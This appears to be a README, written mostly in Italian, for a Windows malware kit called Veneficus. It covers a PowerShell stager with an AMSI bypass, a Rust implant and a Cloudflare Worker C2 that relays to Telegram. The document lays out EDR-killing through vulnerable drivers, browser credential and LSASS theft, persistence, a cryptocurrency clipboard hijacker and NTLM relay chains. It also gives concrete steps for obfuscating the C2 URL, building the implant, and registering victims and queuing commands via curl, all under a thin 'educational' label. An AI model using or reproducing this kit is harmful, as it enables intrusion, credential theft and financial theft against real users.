Impianto end-to-end super elite 0day. Full kill-chain. Exploit, escalate, pivot, poison, persistence.
@abraxas_null
·
[email protected]
·
abraxaslabs.tech
·
github.com/abraxas/veneficus
Crediti: @YoSoth0
Write-up: https://abraxaslabs.tech/research/veneficus
Kit di implant per Windows 10/11 x64: uno stager PowerShell, un PE in Rust e un Cloudflare Worker che avvisa l'operatore su Telegram.
Lo stager (resources/loader.ps1) ha lo scopo di silenziare AMSI nel processo PowerShell corrente, recuperare l'implant dalla rotta /beacon del Worker e avviarlo come %TEMP%\MicrosoftEdgeUpdate.exe. Il PE valuta poi l'host alla ricerca di artefatti da sandbox/analista. Un punteggio alto cancella il binario; un punteggio medio attiva la "modalità sicura" (solo fingerprinting); un punteggio basso esegue l'intero stack — patch AMSI/ETW, un pool BYOVD contro processi EDR specifici, furto di credenziali dai browser, una catena di dump di LSASS, persistenza tramite WMI/scheduled-task/Run, un proxy SOCKS5 su localhost, un listener HVNC/RFB su localhost e un clipper degli appunti per indirizzi crypto. Un loop HTTPS con jitter invia beacon ed esegue polling di un piccolo set di comandi (/status, /proxy_on, /self_destruct, /re_infect, /sleep, toggle della modalità sicura). L'esfiltrazione avviene con AES-256-GCM e HMAC, con chiave derivata da un UUID incorporato in fase di compilazione; il Worker dovrebbe inoltrare il testo cifrato senza detenere la chiave.
Questo repository è pubblicato per scopi educativi e di analisi. Una lettura file per file di ciò che è implementato rispetto a ciò che è solo abbozzato si trova in VENEFICUS_MINI_v3_DEEP_ANALYSIS.md.
Solo per scopi educativi. 2026 Tutti i diritti invertiti.
VICTIM MACHINE
loader.ps1 (AMSI/ETW bypass → download → execute)
└── veneficus_mini.exe
├── Environment assessment (sandbox/VM/analyst detection)
├── Stealth: syscall bypass chain, lacuna stack-spoof, DKOM, AMSI/ETW patch
├── BYOVD: kill EDR processes (K7RKScan, ThrottleStop, BdApi, TrueSight, wsftprm, RTCore64)
├── Payload: creds, cookies, LSASS dump, device fingerprint
├── Persistence: WMI / Scheduled Task / Registry (three-way fallback)
├── SOCKS5 proxy (127.0.0.1:1080 by default, configurable)
├── HVNC (127.0.0.1:5900 by default, configurable)
├── Clipper: crypto address hijacking (BTC, ETH, LTC, XMR, DOGE, SOL, XRP, BNB, USDT)
└── C2 loop: AES-GCM encrypted poll every 10 ± 3s (safe mode: 60 ± 18s)
↕ HTTPS
CLOUDFLARE WORKER
/beacon → implant download
/exfil → receive encrypted data → forward ciphertext to Telegram
/commands → return queued commands (one-time queue)
/config → return operator config blob
/admin → queue commands (requires X-Admin-Key)
/register → register UUID (requires X-Admin-Key)
/unregister → revoke UUID (requires X-Admin-Key)
/listing → list all UUIDs (requires X-Admin-Key)
/set_config → push config (requires X-Admin-Key)
↓
TELEGRAM BOT
Receives: ciphertext + nonce + HMAC (operator decrypts offline)
| Componente | Come installarlo |
|---|---|
| Rust + cargo | curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh |
| Target di cross-compilazione Windows | rustup target add x86_64-pc-windows-gnu |
| Cross-linker MinGW | sudo apt install mingw-w64 |
| Wrangler (CLI per CF Worker) | npm install -g wrangler |
wrangler login
wrangler init veneficus-relay
# Replace worker.js with cloudflare/worker.js
wrangler secret put TELEGRAM_TOKEN # from @BotFather
wrangler secret put TELEGRAM_CHAT_ID # your chat/group ID
wrangler secret put ADMIN_KEY # random 32-char secret
wrangler kv:namespace create "UUID_KV"
wrangler kv:namespace create "COMMANDS_KV"
wrangler kv:namespace create "CONFIG_KV"
# Add KV bindings to wrangler.toml:
# [[kv_namespaces]]
# binding = "UUID_KV"
# id = "<uuid_kv_id>"
# (repeat for COMMANDS_KV, CONFIG_KV)
wrangler deploy
import base64
url = b"https://your-worker.workers.dev"
key = 0xAF
enc = bytes([b ^ key for b in url])
print(base64.b64encode(enc).decode()) # → set as RELAY_URL_BYTES
RELAY_URL_BYTES="<output_above>" \
BYOVD_DRIVER_DIR="./drivers" \
TOOLS_DIR="./tools" \
cargo build --release --target x86_64-pc-windows-gnu
Posiziona i file .sys dei driver vulnerabili in drivers/ e i binari degli strumenti in tools/ prima della compilazione.
Leggi l'UUID dal binario (incorporato al momento della compilazione):
strings target/x86_64-pc-windows-gnu/release/veneficus_mini.exe | grep -E "[0-9a-f]{8}-[0-9a-f]{4}"
Registrazione tramite l'API di amministrazione:
curl -X POST https://your-worker.workers.dev/register \
-H "X-Admin-Key: YOUR_ADMIN_KEY" \
-H "Content-Type: application/json" \
-d '{"implant_uuid":"<uuid>","note":"op_blackbird_host01"}'
curl -X POST https://your-worker.workers.dev/set_config \
-H "X-Admin-Key: YOUR_ADMIN_KEY" \
-H "Content-Type: application/json" \
-d '{
"implant_uuid": "global",
"config": {
"clipper_addresses": {
"bitcoin": "bc1qyourwallethere",
"ethereum": "0xYOURWALLETHERE"
},
"reinfect_url": "https://your-worker.workers.dev/beacon"
}
}'
Inviare tramite l'endpoint /admin:
curl -X POST https://your-worker.workers.dev/admin \
-H "X-Admin-Key: YOUR_ADMIN_KEY" \
-H "Content-Type: application/json" \
-d '{"implant_uuid":"<uuid>","command":"/status"}'
| Comando | Effetto |
|---|---|
/self_destruct | Cancellazione a 3 passaggi + pulizia del registro eventi + uscita |
/re_infect | Scarica un nuovo payload da reinfect_url nella configurazione, sostituisce se stesso |
/status | Invia PID, stato del proxy, modalità sicura, UUID al C2 |
/proxy_on | Abilita il proxy SOCKS5 |
/proxy_off | Disabilita il proxy SOCKS5 |
/exit_safe | Esce dalla modalità sicura, riprende l'operatività completa |
/enter_safe | Entra in modalità sicura (solo fingerprint) |
/sleep <secs> | Sovrascrive l'intervallo di polling base del C2 |
| Modulo | Catena (a sinistra = primo tentativo) |
|---|---|
| BYOVD | K7RKScan → BdApiUtil64 → TrueSight → ThrottleStop → STProcessMonitor → wsftprm → RTCore64 → capcom → disabilita blocklist |
| LSASS | MiniDumpWriteDump (nativo) → patch WDigest → LSA Whisperer → DumpGuard → bypass PPL (RTCore64) |
| NTLM | PrinterBug → PetitPotam → relay cross-protocol (HTTP→LDAP) → CVE-2025-33073 → relay MSSQL |
| Syscall | Tartarus Gate → Halo's Gate → unhook ntdll → indiretto → WinAPI standard |
| DKOM | unlink EPROCESS → enumerazione PspChained → deregistrazione callback EDR |
| Persistenza | sottoscrizione WMI → attività pianificata → chiave Run HKLM |